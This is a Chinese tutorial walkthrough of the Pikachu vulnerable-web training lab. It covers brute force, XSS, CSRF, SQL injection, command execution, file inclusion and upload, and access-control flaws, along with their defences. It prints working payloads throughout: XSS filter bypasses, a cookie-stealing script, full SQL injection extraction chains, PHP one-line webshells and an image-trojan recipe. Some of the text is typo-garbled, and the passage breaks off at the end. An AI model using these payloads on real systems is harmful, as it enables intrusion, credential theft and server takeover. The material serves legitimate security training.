靶场源码链接:
GitHub:https://github.com/zhuifengshaonianhanlu/pikachu
靶场漏洞介绍:
先安装phpstudey,在GitHub上下载源码,放在phpstudy的www(网站)目录下,完成配置与初始化。
靶场搭建链接(内含phpstudy与pikachu的配置):
https://blog.csdn.net/weixin_42474304/article/details/117533788
对暴力破解的理解:暴力破解=连续性的尝试+字典+自动化。
其实就是去猜可能的密码,经过不断的试账号和密码,找出正确的账号密码,达到暴力破解的目的。
最重要的部分就是字典,一个好的字典可以大大加快破解速度。
对于暴力破解漏洞的话,如果个网站没有对登录接 实施防暴力破解的措施,或者实施 了不合理的措施,称该网站存在暴力破解漏洞。
✓是否要求用户设置了复杂的密码;
✓是否每次认证都使用安全的验证码;
✓是否对尝试登录的行为进行判断和限制;
✓是否在必要的情况下采用了双因素认证;
…等等。
存在暴力破解漏洞的网站可能会遭受暴力破解攻击,但该暴力破解攻击成功的可能性并不是100% !
所以有些网站即虽然存在暴力破解漏洞,但其管理员可能会忽略它的危害。搞安全的话,不能有侥幸心理,否则随时会被干掉😭。
1、确认是否存在暴力破解漏洞 :
确认目标是否存在暴力破解的漏洞。( 确认被暴力破解的“可能性' )
比如:尝试登录一抓包-- -观察验证元素和response信息,判断否存在被暴力破解的可能。
2、对字典进行配置
根据实际的情况对字典进行配置,提高爆破过程的效率。
技巧一:
根据注册提示信息进行优化
对目标站点进行注册,搞清楚账号密码的一些限制,比如目标站点要求密码必须是6位以上,字母数字组合,则可以按照此优化字典,比如去掉不符合要求的密码。
技巧二:
如果爆破的是管理后台,往往这种系统的管理员是admin/administrator/root的机率比较高,可以使用这三个账号+随便-个密码 ,尝试登录 ,观看返回的结果 ,确定用户名。
比如:
输入xxx/yyyf返回“用户名或密码错误'
输入admin/yy返回'密码错误”, 则基本可以确定用户名是admin ;
因此可以只对密码进行爆破即可,提高效率。
3、工具自动化操作
配置自动化工具(比如线程、超时时间、重试次数等) , 进行自动化操作。
测试目标: Pikachu-暴力破解-基于表单的暴力破解
测试工具: burp suite free edition-intruder
burp官方下载通道
进行尝试性登录,提示用户名或密码不存在,登陆失败。
将原始数据包中的变量清除,选中用户名和密码点击Add$将其设置为变量。
在这里我们使用Cluster bomb模式进行破解,在Payloads中配置第一个变量和第二个变量的字典,这里可以手动输入添加,也可以在系统中添加已经写好的字典。
添加字典后进行攻击,根据返回数据包的长度进行判断是否成功。为了方便观察也可以在grep-match中删除原有字符串,添加username or password is not exists,burp就会将所有含有此字符串的数据包flag出来。没有被flag出的数据包则是我们破解成功的数据包。点击username or password is not exists进行排序,没有勾选的则表明破解成功,有勾选的则表明破解失败。
验证码的作用:
防止登录暴力破解
防止机器恶意注册
验证码大概的的认证流程:
不安全的验证码on client绕过演示
随机输入账号密码,输入相应验证码,利用burp抓包。
登录失败验证码发生变化。
查看源码,我们可以发现验证码是JavaScript随机生成,点击一次函数运行一次生成一个相应的验证码。
将数据包发送到repeater,进行判断。将验证码设置为空,点击运行,出现错误提示,验证码不能为空。
不安全的验证码-on server常见问题
●验证码在后台不过期,导致可以长期被使用;
●验证码校验不严格,逻辑出现问题;
●验证码设计的太过简单和有规律,容易被猜解
一个token示例
//生成一个token,以当前的时间+一个5位的前缀
function set_token(){
if(isset($_SESSION['token'])){
unset($_SESSION['token']);
}
$_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,99999),true));
}
一般的做法:
1.将token以'type='hidden’’”的形式输出在表单中;
2.在提交的认证的时候一起提交,并在后台对其进行校验;
但,由于其token值输出在了前端源码中,容易被获取,因此也就失去了防暴力破解的意义。一般Token在防止CSRF上会有比较好的功效,具体讲在CSRF漏洞章节进行讲解。
防暴力破解的措施总结
●设计安全的验证码(安全的流程+复杂而又可用的图形) ;
●对认证错误的提交进行计数并给出限制,比如连续5次密码错误,锁定2小时;
●必要的情况下,使用双因素认证;
●XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
●XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。
●XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等
XSS(窃取cookie)攻击流程
跨站脚本漏洞常见类型
危害:存储型>反射型> DOM型
●反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
●存储型
交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。
●DOM型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。
xss漏洞形成的原因:
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造'的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
跨站脚本漏洞测试流程:
①在目标站点上找到输入点,比如查询接口,留言板等;
②输入一组”特殊字符+唯一识别字符”, 点击提交后,查看返回的源码,是否有做对应的处理;
③通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件 (构造闭合) ;
④提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
提示:
1.一般查询接口容易出现反射型XSS ,留言板容易出现存储型XSS ;
2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效或者环境限制了执行(浏览器) ;
3.通过变化不同的script ,尝试绕过后台过滤机制;
在对应的输入点输入特殊字符如:;'’<>9999
目的就是看一看是否会被过滤,(因为我们含有特殊字符)有没有被输出,有没有被处理。点击提交。
<script>alert('xss')</script>
,我们可以看到在输入框中的语句被执行,出现了xss弹窗。GET和POST典型区别:
GET是以url方式提交数据;
POST是以表单方式在请求体里面提交;
GET方式的XSS漏洞更加容易被利用, 一般利用的方式是将带有跨站脚本的URL伪装后发送给目标,而POST方式由于是以表单方式提交,无法直接使用URL方式进行攻击,如何利用?可以思考一下3.2.6揭晓。
存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。
在留言版上试着输入留言6666。
工欲善其事必先利其器,在了解Dom型xss,我们先了解什么是DOM。
通过JavaScript,可以重构整个HTML文档。可以添加、移除、改变或重排页面上的项目。
要改变页面的某个东西,JavaScript 就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元索进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的( DOM) 。
所以,你可以把DOM理解为一个一个访问HTML的标准编程接口。
可以自己看一个具体的栗子:w3school HTML DOM
打开DOM型xss,在输入框中输入一串字符。
<a href=''+str+''>what do you see?</a>
我们还是输入一个弹窗,在input输入#' onclick='alert(666)”>
构成a标签闭合,且嵌入一个弹窗。<a href='#' onclick='alert(666)'>'>what do you see?</a>
#' onclick='alert(666)”>
xss盲打指的是一种攻击场景。
<script>alert('xni')</script>
,设置一个弹窗,看看管理员在后台登陆上,是否会被x到。如果被x到这种场景就叫做盲打。XSS绕过-过滤-转换
0,前端限制绕过,直接抓包重放,或者修改html前端代码
1,大小写,比如: <SCRIPT> aLeRT(111)</sCRIpt>
2,拼凑: <scri<script> pt> alert(111)</scri</script> pt>
3,使用注释进行干扰: <scri<!--test--> pt> alert(111)</sc <--test--> ript>
XSS绕过-过滤-编码
核心思路:
后台过滤了特殊字符,比如< script>标签,但该标签可以被各种编码,后台不一定会过滤
当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行.
在使用编码时需要注意编码在输出点是否会被正常识别和翻译!
栗子1:
< img src=x onerror=”alert( xss )'
将alert('xss’ )进行URL编码,可以执行吗
<img src=x onerror= ' alert%28%27xss%27%29' />
不可以,因为这些属性标签并不会正常解析这些编码。
栗子2 :
使用事件属性onxxx();
<img src=x onerror=' alert('xss')' />
可以把alert('xss )进行html编码
<img srC=X onerror=' a&# 108;er&# 116;('xss')”/>
<img src=xonmouseover= 'a&l# 108;&# 101;rt('x&l#115;s')'/>
可以执行。事件标签里面并不会执行标签里面的代码。
XSS绕过的姿势有很多取决于你的思路和对前端技术的掌握程度
打开xss之过滤我们随意输入一串字符<script>;'#@
<scRIPt>alert(666)</ScrIpt>
<img src=x onerror='alert(666)'>
htmlspecialchars()函数把预定义的字符转换为HTML实体。
预定义的字符是:
&(和号)成为&
'(双引号)成为'
'(单引号)成为'
<(小于)成为<
'>’(大于)成为>
可用的引号类型:
ENT_ COMPAT -默认。仅编码双引号。
ENT QUOTES -编码双引号和单引号。
ENT NOQUOTES -不编码任何引号。
打开xss之html***********
我们还是先输入一段字符串66666’“<>#$%
q' onclick='alert(666)'
第一个单引号是对前面进行闭合。打开xss之herf,输入Javascript:alert(666),不含有特殊字符。
x'</script><script>alert('xss')</script>
,先将前面的script闭合再插入我们自己的语句。get型xss利用
在管理工具中打开xss后台
<script>document.location = 'http://127.0.0.1/pikachu-master/pikachu-master/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
这里的payload需要自己修改,由于都是本地,全部改成127.0.0.1即可,后面就是www后的路径。我自己phpstudy的www后的路径为pikachu-master/pikachu-master/pkxss/xcookie/cookie.php,注意一下需要修改这两个文件中的代码。
执行之后,跳回了首页。
我们需要自己搭一个恶意站点,然后在网站上放一个post表单,将存放POST表单的链接发送给受害者,诱导受害者点击。 这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie。
钓鱼思路:
打开xss钓鱼后台,打开存储型xss,输入<script src='http://127.0.0.1/pikachu-master/pkxss/xfish/fish.php'></script>
,页面会出现弹窗,输入账号密码。当页面刷新时依然存在弹窗,所有访问者都会遇到弹窗,输入账号密码后,数据被存入后台,打开xss后台即可查看钓鱼数据。
跨域:
总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行htm|实体转义,输入到JS里面的进行js转义。
Cross-site request forgery简称为'CSRF' 。
在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一 个链接)
然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了。
所以CSRF攻击也被称为为' one click '攻击。
为了方便理解,举个栗子理解一下
条件1 : xxx购物网站没有对个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造。因此,我们判断一个网站是否存在CSRF漏洞 ,其实就是判断其对关键信息 (比如密码等敏感信息)的操作(增删改)是否容易被伪造。
条件2 : lucy在登录了后台的情况下,点击了小白发送的'埋伏'链接。如果lucy不在登录状态下,或者lucy更本就没有点击这个链接,则攻击不会成功。
csrf与xss的区别
如果小白事先在xx网的首页如果发现了一个XSS漏洞,则小白可能会这样做:
1,欺骗Iucy访问埋伏了XSS脚本(盗取cookie的脚本)的页面;
2,Iucy中招,小白盗取到到ucy的cookie ;
3,小白顺利登录到lucy的后台,小白自己修改lucy的相关信息;
CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
如何确认一个web系统存在csrf漏洞
1,对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造
–比如修改管理员账号时 ,并不需要验证旧密码 ,导致请求容易被伪造 ;
–比如对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造;
2.确认凭证的有效期(这个问题会提高CSRF被利用的概率)
—虽然退出或者关闭了浏览器,但cookie仍然有效,或者session并没有及时过期,导致CSRF攻击变的简单
CSRFget
我们假设我们是Lucy,登陆网站修改信息。
http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.phpsex=5&phonenum=54151&add=shanxi&email=www&submit=submit
现在只需要把这个请求通过邮件或者信息发给Lucy,Lucy进行了访问。地址被更开。
CSRF的主要问题是敏感操作的链接容易被伪造,那么如何让这个链接不容易被伪造?
-每次请求,都增加一个随机码(需要够随机,不容易伪造), 后台每次对这个随机码进行验证!
Ant上CSRF ( token )项目的token生成代码:
增加token验证(常用的做法) :
1,对关键操作增加token参数,token值必须随机,每次都不一样;
关于安全的会话管理(避免会话被利用) :
1,不要在客户端端保存敏感信息(比如身份认证信息) ;
2,测试直接关闭,退出时,的会话过期机制;
3,设置会话过期机制,比如15分钟内无操作,则自动登录超时;
访问控制安全管理:
1,敏感信息的修改时需要对身份进行二次认证,比如修改账号时,需要判断旧密码;
2,敏感信息的修改使用post,而不是get ;
3,通过http头部中的referer来限制原页面
增加验证码:
一般用在登录(防暴力破解) ,也可以用在其他重要信息操作的表单中(需要考虑可用性)
在owasp发布的top 10漏洞里面,注入漏洞一直是危害排名第一,其中主要指SQL Inject漏洞。
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以通过合法的输入点提交一些精心构造的语句 ,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
正常输入:1 select email from users where id= 1;
非法输入:1or1=1 select email from users where id= 1 or 1=1;
SQL Inject 漏洞攻击流程
user_ id= $id
字符型
user. id= '$id'
搜索型
text LIKE '%{$_ GET['search']}%''
pikachu- SQL-Inject- 数字型注入
post型注入演示
下拉框随意点击一个数字
select 字段1,字段2 from 表名 where id = 1
后端接收应该是:$id=$_POST['id']
之后把接收到的参数传进去。
我们点击数字1,进行查询,之后打开burp查看抓包。
select 字段1,字段2 from 表名 where username = '111';
后台接收:$uname=$_GET['username']
与xss差不多我们要构成一个合法闭合。字符串需要加单引号才合法。我们需要把前后两个单引号注释掉。输入kobe' or 1=1#
第一个单引号会将前面的单引号闭合,后面的#号会注释掉后面的单引号。我们尝试提交。
select from 表名 where username like ' %k% ';
这种查询比get多了%号,我们要想办法构造一个合法的闭合。
select from 表名 where username like ' %666%'or 1=1 #% ';
我们输入字符查看结果。
union联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,password from user where id=1 union select 字段1 ,字段2 from 表名
联合查询的字段数需要和主查询一致!
打开字符型注入,输入a’ order by 5#。
a' union select database(),uesr()#
a' union select version(),4#
Select version(); //取的数据库版本
Select database(); //取得当前的数据库
Select user(); //取得当前登录的用户
order by X //对查询的结果进行排序,按照第X列进行排序,默认数字0-9 ,字母a-z
思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错。通过报错判断查询结果的列数,从而确定主查询的字段数。
MYSQL小知识补充: information_ schema
在mysq|中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
SCHEMATA表:提供了当前mysq|实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
以字符型为栗子,我们站在测试者的角度判断是否存在SQL注入漏洞,以及如何获取数据。
我们先输入一个单引号进行测试。提交发现出现报错。
kobe' or 1=1#
,然后点击提交。kobe' order by 3#
,出现报错。kobe' order by 2#
kobe' union select database(),user()#
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
kobe' union select username,password from users#
技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
基于报错的信息获取------三个常用的用来报错的函数
updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。
updatexml()
Updatexm()函数作用: 改变(查找并替换) XML文档中符合条件的节点的值。
语法: UPDATEXML (xml document, XPathstring, new_value)
第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则会发生错误。
Select下报错的利用演示
我们还是那字符型注入做演示,首先我们应该判断有没有报错,会不会在前端显示。我们输入单引号,发现有注入报错。
kobe' and updatexml(1,version(),0)#
kobe' and updatexml(1,concat(0x7e,version()),0)#
kobe' and updatexml(1,concat(0x7e,database()),0)#
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
用户名输入xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
密码随意。点击提交。
在这里可能会有人显示不出来信息,可以参考解决方案。
在使用pikachu的时候发现一点问题,好像是由php版本较高导致的不兼容,如图:
在这里我们打开这个路径,找到第70行,把MYSQL_ASSOC改成MYSQLI_ASSOC,保存文件,刷新网页。就可以啦。
原因:在php7中,MYSQL_ASSOC不再是一个常量,将 MYSQL_ASSOC改为MYSQLI_ASSOC,意思是mysqli的方式提取数组,而不再是mysql 。(原因:mysql_fetch_arrayhan函数转为mysqli_fetch_array,参数没有修改)
1 or updatexml(1,concat(0x7e,database()),0)
选中右键,convert selection,对其进行url编码。
第一个参数: XML document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_ string (Xpath格式的字符串)
Xpath定位必须是有效的,否则会发生错误。
打开字符型注入,输入payload。
kobe' and extractvalue(0,concat(0x7e,version()))#
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
什么是Http Header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞。
点击提示,获得账号密码,登录账号。
firefox' or updatexml(1,concat(0x7e,database()),0) or '
什么是盲注?
在有些情况下,后台使用了错误消息屏蔽方法(比如@ )屏蔽了报错
此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注'
根据表现形式的不同,盲注又分为based boolean和based time两种类型
基于boolean的盲注主要表现症状:
0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
2.在正确的输入下,输入and 1= 1/and 1= 2发现可以判断
打开Boolean的盲注,输入
kobe' and 1=1#
kobe' and ascii(substr(database(),1,1))>113#
如果说基于boolean的窗注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是“时间”, 通过特定的输入,判断后台执行的时间,从而确认注入!
常用的Teat Payload:
kobe’ and sleep(5)#
看看输入: kobe和输入kobe and sleep(5)#的区别,从而判断这里存在based time的SQL注入漏洞。
打开基于时间的盲注。输入单引号。
kobe' and sleep(5)#
我们发现页面没有立刻返回前端页面,而是暂停了5.12毫秒,说明执行了我们的payload。说明存在一个基于时间的payload。
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
时间停止了5秒,则说明第一个字符是p。如果时间不停止,则说明不是p。
一句话木马
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大。
PHP: < ?php @eval($_ POST’chopper’]);?>
ASP: < %eval request(' chopper')%>
ASP.NET: <%@ Page Language= Jscript' %> <%eval(Request.Item'chopper'], 'unsafe );%>
select 1,2 into outfile “/var/www/html/1.txt”
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_ file_ priv
字符型注入:
获取操作系统权限:
kobe' union select '<?php @eval($_GET['test'])?>',2 into outfile '/val/www/html/1.php'#
字符型注入举例
payload:
kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#
可以直接去官网下载压缩包https://sqlmap.org/
sqlmap经典用法
第一步:
-u 'xx” - cookie= “yy” //带上cookie对URL进行注入探测
第二步:
-U “xxx” – cookie=
“yyy” - current-db //对数据库名进行获取
第三步:
-u 'xxx” --cookie= “yy” - D pikachu - -tables //对数据库的表名进行枚举
第四步:
-u “xxx” --cookie= “yyy” -D pikachu -T users – columns //对dvwa库里面的名为users表的列名进行枚举
●代码层面
1.对输入进行严格的转 义和过滤
2.使用预处理和参数化 ( Parameterized )
●网路层面
1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
2.云端防护( 360网站卫士,阿里云盾等)
PHP防范转义+过滤
转义举例
function escape($link, $data){ if(is_ string($data)){ return mysqli_ real_ escape_ string($ink, $data) ; } if(is_ array($data)){ foreach ($data as $key=>$va1){ $data[$key]=e S cape($link, $val); } } return $data; }
过滤举例:(黑名单)
str_ replace('%',',$_ POST['username ]),把post里面的数据里面含有%的替换成空
PDO预处理
推荐做法:使用PDO的prepare预处理(预处理+参数化)
$username=$_ GET[ ' username' ];
$password=$_ GET[ ' password'];
try{
$pdo=new PDO( ' mysql : host=localhost ; dbname-ant', ' root',' root');
$sq1='select * from admin where username=? and passowrd=?' ;
$stmt=$pdo->prepare ($sql);//先不传参数,先预处理
//var_ dump($stmt);
$stmt-> execute(array($username ,$password));
/ /这个时候在把参数传进去,以索引数组的方式传进去,而不是拼接,就成功防止了注入
}catch (PDOException $e){
echo $e- >getMessage();
?>
网络防护
RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过'自动化运维平台'进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的'收获'-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
打开pikachu靶场exec'ping',可以先试一下本地地址,ping127.0.0.1。
127.0.0.1 & ipconfig
exec'evel',更简单。随意输入字符,返回文字。
eval(输入)也就是执行任何我们输入的数据,输入phpinfo();
文件包含漏洞概述
在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用”包含'函数功能。
比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上
一句<?php include fuction.php?>就可以调用函数代码。
但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了”包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击着可以通过修改包含文件的位置来让后台执行任意文件(代码)。这种情况我们称为'文件包含漏洞”
文件包含漏洞有'本地文件包含漏洞”和'远程文件包含漏洞”两种情况。
Test. php:
<?php $co1or= '银色的' ; $car= '奔驰轿车'; ?>
Index. html :
<html> <body> <h1> 欢迎访问我的首页! </h1>
<?php include
'test .php'; echo '我有一辆”.
$color . $car '
?>
</body> </html>
打开 file include 本地文件包含,点击wyd提交查询。
我们观察url,显示是一个文件file1.php。
../../../../Windows/System32/drivers/etc/hosts
远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提:如果使用的incldue和require ,则需要php.ini配置如下( php5.4.34 ) :
allow_url_fopen=on//默认打开
Allow_url_include=on//默认关闭
写入一句话木马,危害极大。
我们现在phpstudy打开远程包含,否则无法进行靶场训练。
http://pikachu/test/yijuhua.txt
0.在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。
1.过滤各种./. ,http:// ,https://
2.配置php.ini配置文件:
allow_ url fopen = off
Allow_ url include= off
magic quotes_ gpc=on //gpc在
3.通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。
很多网站都会提供文件下载功能,即用户可以通过点击下载链接,下载到链接所对应的文件。但是,如果文件下载功能设计不当,则可能导致攻击着可以通过构造文件路径,从而获取到后台服务器上的其他的敏感文件。( 又称:任意文件下载)
打开 unsafe filedownload 不安全的文件下载,正常功能点击球员名字,就可以下载图片。
我们观察点击名字后的url。
我们还可以使用目录遍历的方式去修改链接下载敏感文件。
防范措施:
1.对传入的文件名进行严格的过滤和限定
2.对文件下载的目录进行严格的限定
因为业务功能需要,很多web站点都有文件上传的接口,比如:
1.注册时上传头像图片(比如jpg.png,gif等) ;
2.上传文件附件( doc,xIs等) ;
而在后台开发时并没有对上传的文件功能进行安全考虑或者采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件(如:一句话木马)从而通过对该恶意文件的访问来控制整个web后台。
文件上传漏洞测试流程:
1,对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等);
2 ,尝试上传不同类型的“恶意'文件,比如xx.php文件,分析结果;
3,查看html源码,看是否通过js在前端做了上传限制,可以绕过;
4 ,尝试使用不同方式进行绕过:黑白名单绕过/MIME类型绕过/目录0x00截断绕过等;
5,猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试。
打开 unsafe upfileupload 客户端check,我们浏览上传文件发现,只能上传照片。
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。常见的MIME类型,比如:
超文本标记语言文本.html.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpeg
通过使用PHP的全局数组$_ FILES ,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的input name,第二个下标可以是'name', “type”, “size”, “tmp_ name” 或'error'
同样先测试功能,上传图片没有问题,点击上传php文件,有错误提示。
Getimagesize ( )返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。
是否可以绕过呢?可以,因为图片头可以被伪造。
图片木马的制作:
方法1 :直接伪造头部GIF89A
方法2.CMD: copy /b test.png + muma.php ccc.png
方法3.使用GIMP (开源的图片修改软件) , 通过增加备注,写入执行命令
测试功能,没有问题,开始制作木马图片。这里使用第二种方法。
进入桌面,先输入命令dir,保证可以找到你需要的文件。
生成木马图片。
越权漏洞概述
由于没有用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号( 比如超级管理员)范围内的操作。
平行越权: A用户和B用户属于同一级别用户,但各自不能操作对方个人信息, A用户如果越权操作B用户的个人信息的情况称为平行越权操作
垂直越权。A用户权限高于B用户 , B用户越权操作A用户的权限的情况称为垂直越权。
越权漏洞属于逻辑漏洞,是由于权限校验的逻辑不够严谨导致。
每个应用系统其用户对应的权限是根据其业务功能划分的,而每个企业的业务又都是不一样的。
因此越权漏洞很难通过扫描工具发现出来,往往需要通过手动进行测试。
平行越权,先进行登录,提示里查看账号密码。有一个功能点击查看个人信息。
先登录超级管理员,去执行只有管理员才可以操作的新增账号的功能,用burp抓包。退出登录。登录普通用户,执行新增账号操作。如果成功,则存在垂直越权漏洞。
登录管理员。
目录遍历漏洞概述
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“…/”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在'i can see you ABC'中了解更多)
我们点击超链接
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
---通过访问url下的目录,可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
我们打开源码搜索得到测试账号。
在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
